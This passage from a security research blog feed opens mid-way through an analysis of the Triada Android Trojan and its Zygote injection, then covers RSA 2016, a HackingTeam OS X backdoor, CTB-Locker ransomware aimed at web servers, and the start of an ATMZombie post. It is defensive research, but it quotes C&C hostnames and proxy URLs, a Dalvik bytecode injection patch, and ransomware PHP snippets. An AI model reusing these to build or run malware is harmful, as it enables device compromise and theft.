Or, if the above servers are unavailable, from a list of reserve command servers also written in the code:

  • bridgecr1.tailebaby.com:8088
  • bridgecr2.tailebaby.com:8088
  • bridgecr3.tailebaby.com:8088
  • bridgecr4.tailebaby.com:8088
  • bridgecr1.hanltlaw.com:8088
  • bridgecr2.hanltlaw.com:8088
  • bridgecr3.hanltlaw.com:8088
  • bridgecr4.hanltlaw.com:8088

In reply, an encrypted configuration file arrives and is stored as /system/app/com.sms.server.socialgraphop.db. The configuration is regularly updated and contains the following fields:

  • mSericode – malware identifier
  • mDevicekey – the device identifier generated on the server (stored in /system/app/OPBKEY_< mDevicekey >);
  • mServerdevicekey – the current server identifier
  • mCD – information used by cybercriminals to adjust the behavior of the modules;
  • mHeartbeat – execution interval for the “heartbeatRequest” interface
  • mInterval – interval at which requests are sent to the command server
  • mStartInterval – time after which the uploaded DEX files (modules) are run
  • mServerDomains – list of main domains
  • mCrashDomains – list of reserve domains
  • mModuleUpdate – links required to download the DEX files (modules).

If the mModuleUpdate field is not filled, the DEX files are downloaded and saved. Then these files are downloaded in the context of the malicious program using DexClassLoader.loadClass(). After that, the modules are removed from the disk, i.e. they only remain in device memory, which seriously hampers their detection and removal by antivirus programs.

The downloaded modules should have the following interface methods for proper execution:

  • init(Context context) – used to initialize the modules
  • exit(Context context) – used to complete the work of the modules
  • boardcastOnReceive(Context context, Intent intent) – used to redirect broadcast messages to the module;
  • heartbeatRequest(Context context) – used to initiate the module request to the command server. It is needed in order to obtain the data module required by the server;
  • heartbeatResponce(Context context, HashMap serverResponse) – used to deliver the command server response to the module.

Depending on the version, the following set of interfaces may be used:

  • init(Context context) – used to initialize the modules
  • exec() – used to execute the payload
  • exit(Context context) – used to complete the work of the modules

This sort of mechanism allows the app downloader to execute modules implementing different functionality, as well as coordinating and synchronizing them.

The apps and the loaded modules use the “android bin”, “conbb”, “configopb”, “feedback” and “systemcore” files stored in the folder /system/bin to perform various actions on the system using superuser privileges. It goes without saying that a clean system does contain these files.

Considering the aforementioned modular architecture and privileged access to the device, the malware can create literally anything. The capabilities of the uploaded modules are limited only by the imagination and skills of the virus writers. These malicious programs (the app loader and the modules that it downloads) belong to different types of Trojans, but all of them were all included in our antivirus databases under the name Triada.

At the time of analysis the app downloader (detected by us as Backdoor.AndroidOS.Triada) downloaded and activated the following modules:

  • OPBUpdate_3000/Calendar_1000 – two modules with duplicate functionality capable of downloading, installing and running an application (detected as Trojan-Downloader.AndroidOS.Triada.a).
  • Registered_1000 – module capable of sending an SMS upon the request of the command server. Detected as Trojan-SMS.AndroidOS.Triada.a.
  • Idleinfo_1000 – module that targets applications that use SMS to make in-app purchases (intercepts outgoing text messages). Detected as Trojan-Banker.AndroidOS.Triada.a.
Use of the Zygote process

A distinctive feature of the malicious application is the use of the Zygote process to implement its code in the context of all the applications on the device. The Zygote process is the parent process for all Android applications. It contains system libraries and frameworks used by almost all applications. This process is a template for each new application, which means that once the Trojan enters the process, it becomes part of the template and will end up in each application run on the device. This is the first time we have come across this technique in the wild; Zygote was only previously used in proof-of-concepts.

The chart below shows the architecture of the malicious program.

Let us take a closer look at how the Zygote process is infected.

Preparatory stage and testing

All the magic starts in the crackZygoteProcess() function from the Trojan-Banker module. Its code is displayed in the screenshot below.

First, the Trojan loads the shared library libconfigpppm.so and invokes the configPPP() function exported by this library (the first highlighted string on the screenshot). Second, if configPPP() succeeds in calling System.getProperty() from Android API with the unusual argument ‘pp.pp.pp’ (it will be explained later why this action is performed) and the returned value is not null, the Trojan runs the ELF-executable configpppi with the PID of the zygote process as an argument.

Let’s go through the process in order. The first thing the Trojan does inside the configPPP() function from libconfigpppm.so is to obtain the load address (in the address space of its process) of the file that implements the ActivityThread.main() function from Android API. Next, using the load address and /proc/self/maps, the Trojan discovers the name and path to the file on the disk. In most cases, it will be /system/framework/framework.odex.

The Trojan reads this file from disk and compares it with the file that is already loaded in the address space. The comparison is performed as follows:

  1. The file is divided into 16 blocks;
  2. The first 8 bytes of each block are read;
  3. These 8-byte sequences are compared with the corresponding sequences from the file that loaded in memory;

If the comparison fails, configPPP aborts its execution and returns a 103 error code. If the comparison succeeds, the Trojan starts patching framework.odex in memory.

Then, the malware obtains the Class structure of ActivityThread (which is defined in framework.odex) by using dexFindClass and dexGetClassData functions. The authors of the malware copied these functions from Dalvik Virtual Machine. The structure contains various information about a dex class and is defined in AOSP. Using the structure, Triada iterates through a list of methods implemented in this class looking for a method named “main”. After the method has been found, the Trojan obtains its bytecode with the help of the dexGetCode function (also copied from open sources). When the bytecode is obtained, it is compared with the corresponding bytecode from the file on the disk, thereby checking if the framework has already been patched. If the method has already been patched, the malware aborts its execution and returns a 103 error code.

After that, the Trojan starts looking for the first string in the DEX strings table that are between 32 and 64 symbols long. After a string has been found, the Trojan replaces it with “/system/lib/libconfigpppl.so” and saves its ID.

Next, Triada accesses the DEX methods table and tries to obtain a method with one of the following names – “loop“, “attach” or “setArgV0“. It takes the first one that occurs in the table, or, if there are no methods with these names, the penultimate method from the DEX methods table, and replaces it with a standard System.load() method (one that loads shared libraries to process address space) and saves its ID. The pseudocode that performs this manipulation is shown below.

After these actions, the preparatory stage is complete, and the Trojan performs the actual patching. It modifies the memory of the process, adding the following instructions to the bytecode of the “main” method of the ActivityThread class:

1A 00 [strID, 2 bytes]                    //const-string v0, “/system/lib/libconfigpppl.so”
71 10 [methID, 2 bytes] 00 00      //invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V
0E 00                                             //return-void

where strID is thesaved ID of the replaced string, and methID is the saved ID of the replaced method.

After these modifications, when ActivityThread.main() is called, it will automatically load the shared library “/system/lib/libconfigpppl.so” to the context of the caller process. But because framework.odex is only patched in the context of the Trojan process, the library will only be uploaded in the Trojan process. This seemingly meaningless action is performed in order to test the ability of the malicious program to modify the Zygote process. If the steps described above do not cause errors in the context of the application, they will not cause errors in the context of the system process. Such a complex operation as changing the Zygote address space has been approached very carefully by the attackers, since the slightest error in this process can result in immediate system failure. That is why the “test run” is performed to check the efficiency of the methods on the user’s device.

At the end configPPP() writes the following data to “/data/configppp/cpppimpt.db“:

  • ID of replaced string (4 bytes);
  • Content of replaced string (64 bytes);
  • ID of replaced method (4 bytes);
  • Pointer to the Method structure for replaced method (4 bytes);
  • Content of the Method structure for ActivityThread.main() (52 bytes);
  • Load address of framework.odex (4 bytes);
  • List of structures that contain (previously used for comparison, 192 bytes):
    1. Pointer to the next block of framework.odex;
    2. First 8 bytes of the block:
  • Size of framework.odex in memory (before patching) (4 bytes);
  • Pointer to the DexFile structure for framework.odex (4 bytes);
  • Content of the DexFile structure for framework.odex (44 bytes);
  • Pointer to the Method structure for System.load() (4 bytes);
  • Size of ActivityThread.main() bytecode before patching (4 bytes);
  • Bytecode of ActivityThread.main() before patching (variable);

Finally, the Trojan calls the patched ActivityThread.main(), thus loading /system/lib/libconfigpppl.so in its address space. We will describe the purpose of this library after explaining the functionality of the configpppi ELF-executable that performs the actual modification of Zygote’s address space.

Modification of the Zygote

In fact, configpppi also patches ActivityThread.main() from framework.odex, but unlike libconfigpppm.so, it receives the PID of a process running on the system as an argument and performs patching in the context of this process. In this case, the Trojan patches the Zygote process. It uses information obtained at the previous stage (in libconfigpppm.so) and stored in /data/configppp/cpppimpt.db to modify the Zygote process via ptrace system­­­­­ calls.

The Zygote process is a daemon whose purpose is to launch Android applications. It receives requests to launch an application through /dev/socket/zygote. Every launch request triggers a fork() call. When fork() occurs the system creates a clone of the process – a child process that is a full copy of a parent. Zygote contains all the necessary system libraries and frameworks, so every new Android application will receive everything it needs to execute. This means every application is a child of the Zygote process and after patching, every new application will receive framework.odex modified by the Trojan (with libconfigpppl.so injected). In other words, libconfigpppl.so ends up in all new apps and can modify how they work. This opens up a wide range of opportunities for the cybercriminals.

Substitution of standard Android Framework features

When the shared library /system/lib/libconfigpppl.so is loaded inside the Zygote by System.load(), the system invokes its JNI_OnLoad() function. First, the Trojan restores the string and method replaced earlier by /system/lib/libconfigpppm.so or configpppi, using the information from /data/configppp/cpppimpt.db. Second, Triada loads the DEX file configpppl.jar. This is done with the help of a standard Android API via dalvik.system.DexClassLoader.

To ensure that DEX is successfully loaded, the Trojan calls its method pppMain from the PPPMain class. This method only outputs to logcat string “PPP main started”.

The next stage is to prepare hooks for some methods from Android Framework (framework.odex). The malware checks if everything necessary for hook methods exist in configpppl.jar (it uses the internal checkPackageMethodExits() method for this). The Trojan then prepares hooks for the following methods:

  1. java.lang.System.getProperty()
  2. android.app.Instrumentation.newApplication()
  3. com.android.internal.telephony.SMSDispatcher.dispatchPdus()
  4. android.app.ActivityManager.getRunningServices()
  5. android.app.ActivityManager.getRunningAppProcesses()
  6. android.app.ApplicationPackageManager.getInstalledPackages()
  7. android.app.ApplicationPackageManager.getInstalledApplications()

The hooks are placed using the standard RegisterNatives() function. This function is designed to perform binding Java methods with their native implementation (i.e. written with C/C++). Thus, the Trojan substitutes standard methods from Android Framework with methods implemented in libconfigpppl.so.

Verifying the success of a Zygote modification

The function which substitutes the original getProperty() first checks its argument. If the argument is the “pp.pp.pp” string (which was mentioned earlier), then the function immediately returns “true”. Otherwise, it calls the original getProperty() with its passed argument. Calling the hooked getProperty() with “pp.pp.pp” as an argument is used to check whether or not hooking of Android Framework functions was successful. If the hooked getProperty() returned “true”, then the Trojan will start configpppi ELF with the PID of the Zygote process as an argument.

After that, the the Trojan “kills” processes of the applications: “com.android.phone”, “com.android.settings”, “com.android.mms”. These are the standard “Phone”, “Settings” and “Messaging” – applications that are the Trojan’s primary targets. The system starts these apps automatically the next time the device is unblocked. After they start they will contain framework.odex with all the hooks placed by libconfigpppl.so.

Modification of outgoing text messages

The function which substitutes newApplication(), first calls the original function, and then invokes two functions from configpppl.jar: onModuleCreate() and onModuleInit().

The function onModuleCreate() checks in the context of the application it is running and then sets the global variable mMainAppType according to the results of checking:

  • If function is running within com.android.phone, then mMainAppType set to 1;
  • If function is running within com.android.settings or com.android.mms, then mMainAppType set to 2;
  • If function is running within one of these apps: com.android.system.google.server.info, com.android.system.guardianship.info.server, com.android.sys.op, com.android.system.op., com.android.system.kylin., com.android.kylines, com.android.email, com.android.contacts, android.process.media, com.android.launcher, com.android.browser, then mMainAppType set to -1;
  • If function is running within any other application, then mMainAppType set to 0;

Depending on the value of mMainAppType, the function onModuleInit() calls one of the initialization routines:

Thus, the Trojan tracks its host application and changes its behavior accordingly. For example, if mMainAppType is set to -1 (i.e. the host application is com.android.email, com.android.contacts etc.), the Trojan does nothing.

If the host application is com.android.phone, Triada registers broadcast receivers for the intents with actions com.ops.sms.core.broadcast.request.status and com.ops.sms.core.broadcast.back.open.gprs.network. It first sets the global variable mLastSmsShieldStatusTime to the current date and time, then turns on mobile network data (GPRS Internet).

If the host application is com.android.settings or com.android.mms, Triada registers broadcast receivers for the intents with the following actions:

  • com.ops.sms.core.broadcast.request.status;
  • com.ops.sms.core.broadcast.back.open.gprs.network;
  • com.ops.sms.core.broadcast.back.send.sms.address.

The first two are the same as in the previous case, and the third sends an SMS, which is passed off as extra intent data.

If the host application is any other app (apart from apps that trigger mMainAppType = -1), then Triada first checks whether or not the application uses the shared library libsmsiap.so:

Depending on the result, it calls one of the following functions: PISmsCore.invokeMMMain() or PISmsCore.invokeOtherMain().

Both functions invoke the PISmsCore.initInstance() method which performs the following actions:

  1. Initialization of the Trojan’s global variables with various information about the infected device (IMEI, IMSI etc.);
  2. Substitution of the system binders “isms” and “isms2”, which are used by the parent application along with its own ones;
  3. Creation of multiple directories /sdcard/Android/com/register/, used for write log and configuration files;
  4. Registration of broadcast receivers for intents with the actions com.ops.sms.core.broadcast.responce.shield.status and com.ops.sms.core.broadcast.responce.sms.send.status, which simply set the corresponding variables to record the time of an event;
  5. If a function is invoked from PISmsCore.invokeMMMain(), then a new thread is created. This thread enters an endless loop and turns on mobile network data, and won’t let the user turn it off.

The most interesting action among the above is the substitution of the system binders “isms” and “isms2”.

Binder is an Android-specific inter-process communication mechanism, and remote method invocation system. All communication between client and server applications within Binder pass through a special Linux device driver – /dev/binder. The scheme of inter-process communication via the Binder mechanism is presented below.

For example, when an application wants to send an SMS it calls the sendTextMessage (or sendMultipartTextMessage) function, which in fact leads to the transact() method of an “isms” (or “isms2”) binder object being called.

The transact() method is redefined in the malicious “isms” binder realization, replacing the original. So, when the parent application of the Trojan sends an SMS it leads to the call of the malicious transact() method.

In this method, the Trojan obtains SMS data (destination number, message text, service center number) from raw PDU. Then, if a network connection is available, it sends this data to a random C&C server from the following list:

  • bridgeph2.zgxuanhao.com:8088
  • bridgeph3.zgxuanhao.com:8088
  • bridgeph3.zgxuanhao.com:8088
  • bridgeph4.zgxuanhao.com:8088
  • bridgeph2.viewvogue.com:8088
  • bridgeph3.viewvogue.com:8088
  • bridgeph3.viewvogue.com:8088
  • bridgeph4.viewvogue.com:8088

The C&C server should respond with some data that, among other things, contains a new SMS destination address (number) and new SMS text.

If a network connection is not available, then the Trojan tries to find the appropriate data in the local configuration files that are stored in the /sdcard/Android/com/register/localuseinfo/ directory in encrypted form.

The Trojan then replaces the SMS destination address and the SMS text of the original message (obtained from C&C or local configuration files), and tries to send it in three different ways (simultaneously):

  1. Via the standard Android API function sendTextMessage. It will lead to the same malicious transact() method of the Trojan “isms” binder realization;
  2. By sending an intent with the action “com.ops.sms.core.broadcast.back.send.sms.address”. It will be received and processed by the same Trojan module but inside the “Messaging” or “Settings” application;
  3. By passing the new SMS destination address and new SMS text to the original “isms” binder transact() method.

When the Trojan sends an SMS in one of these ways, it saves the new SMS destination address and new SMS text in a special variable. And, before sending the new SMS, it checks if it has not already been sent. This helps to prevent endless recursive calls of the transact() method, meaning only one SMS will be sent per originally sent message (by the parent application).

Besides the PISmsCore.initInstance() function, PISmsCore.invokeMMMain() calls another function – PIMMCrack.initInstance(). This method tries to determine which version of mm.sms.purchasesdk the host application is using (the Trojan knows for sure that the host application is using this SDK, because it has checked for libsmsiap.so, which is part of this SDK). mm.sms.purchasesdk is the SDK of Chinese origin – it is used by app developers for enabling In-App purchasing via SMS.

Thus, the mechanism described in this chapter allows the Trojan to modify outgoing SMS messages that are sent by other applications. We presume that the Trojan authors use this opportunity to secretly steal users’ money. For example, when a user buys something in some Android game shop, and if this game uses SDK for in-app purchases via SMS (such as mm.sms.purchasesdk), the Trojan’s authors are likely to modify the outgoing SMS so as to receive the user’s money instead of the game developers. The user doesn’t notice that his money has been stolen; instead he presumes he hasn’t received the appropriate content and will then complain to the game developers.

Filtration of incoming text messages

The original dispatchPdus() is used (as shown in the diagram below) to dispatch PDUs (Protocol Data Unit, low-level data entity used in many communication protocols) of incoming SMS messages to the corresponding broadcast intent. Then, all applications that subscribed for the intent are able to receive and process, according to their needs, the text message that is contained in the form of PDUs inside of this intent.

The function which substitutes dispatchPdus() invokes the moduleDispatchPdus() method from configpppl.jar. It checks the host application and if the application is not com.android.phone, it informs and broadcasts to all apps in the system intent with the action android.provider.Telephony.SMS_RECEIVED (along with the received PDUs). This standard intent informs all other applications (e.g. “Messaging” or “Hangouts” of the incoming SMS).

If the host for the malware is com.android.phone, then Triada checks the originating address and message body of the incoming SMS. The information that the Trojan needs to check is contained within two directories: /sdcard/Android/com/register/infowaitreceive/ and /sdcard/Android/com/register/historyInfo/. The names of the files that are stored in these directories contain postfix, which signifies the date and time of the last response from the C&C. If these files were updated earlier than the last response was received, the Trojan deletes these files and aborts the checking of the incoming SMS. Otherwise, the malware decrypts all the files from the directories mentioned above and extracts phone numbers and keywords from them to perform filtering. If the SMS was received from one of these numbers or the message contains at least one keyword, the Trojan broadcasts an intent with the action android.provider.Telephony.SMS_RECEIVEDcom.android.sms.core along with the message. This is an intent with a custom action and only those applications that explicitly subscribe to this intent, will receive it. There are no such applications on “clean” Android devices. In addition, this method could be used to organize “exclusive” message distribution for Triada modules. If some of the new modules subscribe to the intent with the action android.provider.Telephony.SMS_RECEIVEDcom.android.sms.core, they will receive the filtered message exclusively, without any other applications on the system knowing about it.

Concealing Trojan modules from the list of running services

This function is used to obtain a list of all running services. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getRunningServices():

  • com.android.system.google.server.info
  • com.android.system.guardianship.info.server
  • com.android.sys.op
  • com.android.system.op.
  • com.android.system.kylin.
  • com.android.kylines.
Concealing Trojan modules from the list of running applications

This function is used to obtain a list of all running applications. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getRunningAppProcesses():

  • com.android.system.google.server.info
  • com.android.system.guardianship.info.server
  • com.android.sys.op
  • com.android.system.op.
  • com.android.system.kylin.
  • com.android.kylines.
Concealing Trojan modules from the list of installed packages

This function is used to obtain a list of all installed packages for applications. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getInstalledPackages():

  • com.android.system.google.server.info
  • com.android.system.guardianship.info.server
  • com.android.sys.op
  • com.android.system.op.
  • com.android.system.kylin.
  • com.android.kylines.
Concealing Trojan modules from the list of installed applications

This function is used to obtain a list of all installed packages for applications. The Trojan substitutes the function to hide its modules from this list. The following modules will be excluded from the list received from the original getInstalledPackages():

  • com.android.system.google.server.info
  • com.android.system.guardianship.info.server
  • com.android.sys.op
  • com.android.system.op.
  • com.android.system.kylin.
  • com.android.kylines.
Conclusion

Applications that gain root access to a mobile device without the user’s knowledge can provide access to much more advanced and dangerous malware, in particular, to Triada, the most sophisticated mobile Trojans we know. Once Triada is on a device, it penetrates almost all the running processes, and continues to exist in the memory only. In addition, all separately running Trojan processes are hidden from the user and other applications. As a result, it is extremely difficult for both the user and antivirus solutions to detect and remove the Trojan.

The main function of the Trojan is to redirect financial SMS transactions when the user makes online payments to buy additional content in legitimate apps. The money goes to the attackers rather than to the software developer. Depending on whether or not the user gets the content he pays for, the Trojan either steals the money from the user (if the user does not receive the content) or from the legitimate software developers (if the user receives the content).

Triada has clearly been designed by cybercriminals who know the targeted mobile platform very well. The range of techniques used by the Trojan is not found in any other known mobile malware. The methods of concealing and achieving persistence used by Triada can effectively avoid detection and removal of all malware components after installation on the infected device; the modular architecture allows attackers to extend and alter the functionality so they are limited only by the capabilities of the operating system and applications installed on the device. Since the malware penetrates all applications installed on the system, the cybercriminals can potentially modify their logic to implement new attack vectors against users and maximize their profits.

Triada is as complex as any malware for Windows, which marks a kind of Rubicon in the evolution of threats targeting Android. Whereas previously, the majority of Trojans for the platform were relatively primitive, new threats with a high level of technical complexity have now come to the fore.

Hello from #RSA2016!

Wed, 03/02/2016 - 21:13

This week, a large fraction of the world’s top security professionals converge into the wonderful city of San Francisco for RSA Conference 2016.

Spread across several halls and buildings, the event has grown to be a kind of “meet anyone” type of conference/show, where you can’t walk for more than a 100 meters without running into a friend, colleague or customer. Perhaps it is no surprise that due to the popularity of the RSA Conference, many companies choose to announce new products or discoveries here.

I’m joined by some of my colleagues from GReAT: Kurt (@k_sec), Juan Andres (@juanandres_gs), Vicente (@trompi) and Brian (@Mao_Ware). The day began with Vicente’s presentation on the future of nation state-sponsored attacks. Looking at the evolution of these threats and actors over the past years from different angles, we can identify some patterns and evolutionary rules which can help predict what future attacks will look like. One of the most interesting points or predictions from Vicente’s presentation revolved around the idea that everyone knows how to do forensics on Microsoft Windows but very few can do it for network attached devices such as routers or smart power switches.

Vicente Diaz presents at RSA Conference 2016

This creates a blind spot that is undoubtedly being exploited by advanced threat actors to manage exfiltration of data from compromised networks and will become even more popular in the future.

The subject of targeted attacks is always on the agenda at RSA and Kaspersky Lab was also busy here with the announcement of a major expansion of its enterprise security portfolio. The new Kaspersky Anti Targeted Attack (KATA) platform was the main subject of a presentation from my colleague Juan Andres who was joined by Artem Serebrov.

Artem Serebrov and Juan Andres Guerrero-Saade introducing the KATA platform

The KATA platform is based on Kaspersky Lab’s expertise in the detection and analysis of some of the world’s most sophisticated cyber threats combined with several years of engineering and experience in developing security technologies.

You can find more details about KATA here: http://www.kaspersky.com/enterprise-security/anti-targeted-attacks

Moving from the realm of targeted attacks, my colleague Kurt presented on the evolution of the Internet of Threats (IoT) and automotive security. With things such as smart houses and why not, smart cities being a reality, security should play a major role as we take the first steps towards an interconnected world.

Kurt Baumgartner discussing threats against IoT and transportation systems

If you happen to be at #RSA2016 don’t forget to stop by our booth and have a chat!

Signing off from RSA,

@craiu

 

The return of HackingTeam with new implants for OS X

Wed, 03/02/2016 - 09:59

Last week, Patrick Wardle published a nice analysis of a new Backdoor and Dropper used by HackingTeam, which is apparently alive and well. Since HackingTeam implants are built on-demand for each target, and it appears that the samples mentioned in the blog were found in-the-wild, we wanted to take a closer look: to see how it works and what its functionality reveals about the possible interest of the attackers behind this latest Backdoor.

Encryption key

The main Backdoor component receives its payload instructions from an encrypted Json configuration file. In order to decrypt the configuration file, we began by using known keys, but none of them were able to decrypt the file. Upon checking the binary file we were able to identify that the function used to encode the file is still AES 128, so we started to look for a new encryption key. We located the initialization of the encryption routine, where the key is passed as an argument.

By following this code we were able to find the new key used to encrypt the configuration file.

As you can see, the key is 32 bytes long, so just the first 16 bytes are used as the key. By using this key on our script we successfully decrypted the configuration file, which turns out to be a Json format file carrying instructions on how that particular Backdoor needs to operate on the target’s OS X machine:

What does the implant do?
  • It takes screenshots
  • It synchronizes with or reports stolen information to a Linode server located in the UK, but only when connected to Wi-Fi and using a specific Internet channel bandwidth defined by the Json configuration file:
  • It steals information on locally-installed applications, address book entries, calendar events and calls. OS X allows iPhone users to make such calls straight from the desktop when both are connected to the same Wi-Fi network and trusted.
  • It spies on the victim by enabling frontal camera video recording, audio recording using the embedded microphone, sniffing local chats and stealing data from the clipboard.
  • It also steals emails, SMS and MMS messages from the victim, which are also available on the OS X desktop when an iPhone is paired.

Among other functionalities it also spies on the geolocation of the victim.

It’s interesting to note that the Json file says that the start date of the operation is October 16 (Friday), 2015. This indicates that this is a fresh HackingTeam Backdoor implant.

For some reason the attacker was not interested in any emails sent to or from the target before that date but only from then on.

Kaspersky Lab detects the above-mentioned Backdoor implants as Backdoor.OSX.Morcut.u and its dropper as Trojan-Dropper.OSX.Morcut.d

CTB-Locker is back: the web server edition

Tue, 03/01/2016 - 02:38

Cryptolockers have become more and more sophisticated, bypassing system protections and terrifying anyone in their path. TelsaCrypt, CryptoWall, TorrentLocker, Locky and CTB-Locker are only some of the malware we have protected from for the past two years. We have seen many shapes and colors of cryptolockers, but the new CTB-Locker variant says it all. The world of cybercriminals is investing in how to reinvent cryptolockers.

Before, CTB-Locker, or Onion Ransomware, differed from other ransomware in the usage of the Tor Project’s anonymity network to shield itself from takedown efforts that rely largely on static malware command and control servers. Its use of Tor also helped evading detection and blocking. Another thing that protected CTB-Locker controllers was accepting as payment only Bitcoins, the decentralized and largely anonymous crypto-currency known.

A new variant of the CTB-Locker targets web servers only, and to our knowledge it has already successfully encrypted web-root files in more than 70 servers located in 11 countries.

In this blogpost I will take you into the “lion’s den”, after victims were kind enough to share the cryptors that had been deployed into their web servers.

Step 1: defacement

This new variant aims to encrypt web servers and demand less than half a bitcoin as a ransom (~150 USD). If payment isn’t sent on time the ransom is doubled to approximately 300 USD. When paid, the decryption key is generated and is used to decrypt the web server’s files.

It has become clear that the web servers infected with this variant were targeted due to a security hole in their web server. Once exploited, the website is defaced. Defacement is a well-known method for hacking groups to show their victims they mean business. The most recent cases we’ve witnessed are not random, but mostly about political affiliations and cultural perspectives.

In this case, the defacement, which contains a replacement of the main php/html page, is used as the message carrier and contains all the means necessary for the attack to leave the right impression on the victim. We will deep-dive into it in the next steps.

It is important to mention that the original code is not deleted. It is stored safely in the web root with a different name in an encrypted state.

The message

As variants of malware of this kind are based on the simple fact that a victim cares more about his content than about paying a ransom, the authors usually leave a very detailed message for everyone to see.

The following quote is a part of the information that is left on the main page:

The decryption key is stored on a remote server, but the attackers were “kind enough” to allow the victim to decrypt two files free, as a sign of authenticity.

The other function that exists on the attacked website allows the victim to communicate with the attacker via chat: it requires a personal signature/code which is available for victims only.

At the moment, no decryption tool exists in the wild, thus there is no way to decrypt the files encrypted by the new CTB-Locker. The only way to remove this threat in a matter of seconds is to keep file backups in a separate location.

Although this seems like a big concern, we tend to believe that it is not. Large websites tend to have multiple versions of their content, spreading over a number of webservers. In many other cases, they are supervised and tested by professional security penetration testing firms and so are constantly under the magnifier.

Step 2: encryption process

We still don’t know how the CTB-Locker is being deployed on web servers, but there is one common thing among many of the attacked servers – they use the WordPress platform as a content management tool. WordPress contains many vulnerabilities in its non-updated versions and we already seen critical vulnerabilities presented last year. In addition, WordPress also has another weak spot – plugins. Those tiny enhancement features helps WordPress become what it is – a leader in the world of CMS. However, having third party plugins also makes the server more vulnerable to attacks, as plugin authors are not committed to any type of security measurements.

Once the malware author is inside WordPress system, he is able to replace the main website file and execute the encryption routine. The main file is renamed and saved in an encrypted state.

Two different AES-256 keys are deployed to the victim server:

  1. create_aes_cipher($keytest) – encrypts the two files which can be decrypted free.
  2. create_aes_cipher($keypass) – encrypts the rest of the files hosted on the server web root.

The two files are chosen by the authors and their names are saved in a text file.

The create_aes_cipher() accepts one parameter as the key and sends it to the standard Crypt_AES() function:

function create_aes_cipher($key) { $aes = new Crypt_AES(); $aes-&gt;setKeyLength(256); $aes-&gt;setKey($key); return $aes; }

When encrypting the site, the script first uses the test key to encrypt the two files that will be used for free decryption. It will then generate a list of files that match specific file extensions and encrypt them using AES-256 encryption. The extensions that will be encrypted are read from the ./extensions.txt file and are currently:

Files that contain the following strings will be excluded from the encryption process:

  1. “/crypt/”
  2. “secret_”

In addition, files which are populated with data that will later assist the user with the decryption process would obviously be excluded as well.

  1. ./index.php – as described above, this file is the main door for the victim to analyze the attack and contains PHP code of the encryption/decryption routine.
  2. ./allenc.txt – contains a list of all encrypted files.
  3. ./test.txt – contains the files which are freely available for decryption.
  4. ./victims.txt – contains a list of all the files that are being encrypted or have already been encrypted.
  5. ./extensions.txt – contains the list of file extensions (see above).
  6. ./secret_ – as said, the victim is required to identify himself before the free decryption or chat is even possible.

On the main page of the CTB-Locker, attackers are using JQUERY to query proxy servers and verify payments. The following code was found in the page source code and the servers listed on the top are proxies which are used as another layer of protection, instead of the main server of the attackers:

Proxy servers which are part of the decryption process:

http://erdeni.ru/access.php http://studiogreystar.com/access.php http://a1hose.com/access.php

The ransomware servers are not permanent and are being replaced by new ones every certain period of time. We have identified the threat actor inspecting the server logs and analytics, as sometimes different checks resulted in the server shutting down and turned back on.

Step 3: proxy to C&C

The attackers are utilizing servers which were already attacked to traffic through another layer of protection. On a victim server’s source code, a JavaScript code reveals how the decryption process is sent through three different servers randomly, however those are not the C&C.

The above screenshot was taken from the access.php page, supposedly located in each one of the bot servers used as a proxy for the decryption process.

In white block is the actual C&C which has been hardcoded on each of the PHP pages (access.php).

When POST request is being sent with the right parameters, a socket instance is being created and sends a connect beam to the attacker’s C&C server. Later it is being determined if the decryption process succeeded.

Free decrypt

The ransomware allows the victim to freely decrypt not more than two files. It is not for the victim to choose, since the files are pre-chosen and can be found in the malware’s designated file as listed above. The two files are randomly picked during the course of the encryption process.

The following image is an illustration of the free decrypt module:

In order to decrypt the two free files, the victim is required to enter the secret_ file name. Once you click the DECRYPT IT FREE button, the client-side script builds a POST request and sends it to one of the C&C servers. We were able to imitate the PHP calculation and run the exit() function of the free decryption routine:

The following is the PHP code at the back-end. The function secret_ok() verifies the identity of the victim, based on his domain name and other indicators:

if (isset($_GET['dectest']) && secret_ok()) { decrypt_files('test.txt', $_GET['dectest']); exit('Congratulations! TEST FILES WAS DECRYPTED!!'); }

Threat actor’s chat room

The ransomware also includes functionality to communicate with the malware authors. As already said, the victim is required to use the secret_ key in order to open the chat. Without it, the chat will remain unresponsive.

We have come to the conclusion that ransomware is the new-generation malware for an attacker interested in financial gain. They are very effective, there is no solid solution against this threat thus far, and they are flexible to attack not only desktop operating systems, but now web servers as well.

We urge anyone to backup all important data; and to be cautious about emails which are not specifically meant for the user, or attractive ads that appear online. In addition, third party software must not be trusted automatically by its hash. This identifier can be changed by an attacker once a server has been compromised. Be sure to use other routine checks to ensure that the software is legitimate.

ATMZombie: banking trojan in Israeli waters

Mon, 02/29/2016 - 03:08

On November 2015, Kaspersky Lab researchers identified ATMZombie, a banking Trojan that is considered to be the first malware to ever steal money from Israeli banks. It uses insidious injection and other sophisticated and stealthy methods. The first method, dubbed “proxy-changing”, is commonly used for HTTP packets inspections. It involves modifying browser proxy configurations and capturing traffic between a client and a server, acting as Man-In-The-Middle.

Although this is efficient for testing, streaming bank details isn’t as easy. Banks are using encrypted channels, signed with authorized certificates, to prevent the data from being streamed in clear-text. The attackers, however, realized the missing piece and have since issued a certificate of their own, which is embedded in the dropper and is inserted in the root CA list of common browsers in the victim’s machine.

The method of using a “proxy-changer” Trojan to steal bank credentials has been around since the end of 2005, and is being actively used by Brazilian cybercriminals; however, it wasn’t until 2012 that Kaspersky Lab researchers compiled a full attack analysis. “In Brazil malicious PAC files in Trojan bankers have been increasingly common since 2009, when several families such as Trojan.Win32.ProxyChanger started to force the URLs of PAC files in the browser of infected machines.“, said Fabio Assolini, Senior Security Researcher at GReAT Kaspersky Lab, in his article.

A Kaspersky Lab researcher based in Russia had written about similar Trojan attacking PSB-retail customers, dubbed Tochechnyj Banker. It was even backed by a victim case study, where the victim explains how the crocks fooled him into handing out his credentials.

The incident Israeli banks experienced had the same characteristics, but had a very fascinating and innovative method of stealing the money. Instead of relying only on direct wire-transfer or trading credentials, their modus operandi started by leveraging a loophole in one of the bank’s online features; and later by physically withdrawing money from the ATM, assisting money mules (zombies) who are suspected to have no awareness of how the attack works; hence the Trojan was dubbed – ATMZombie.

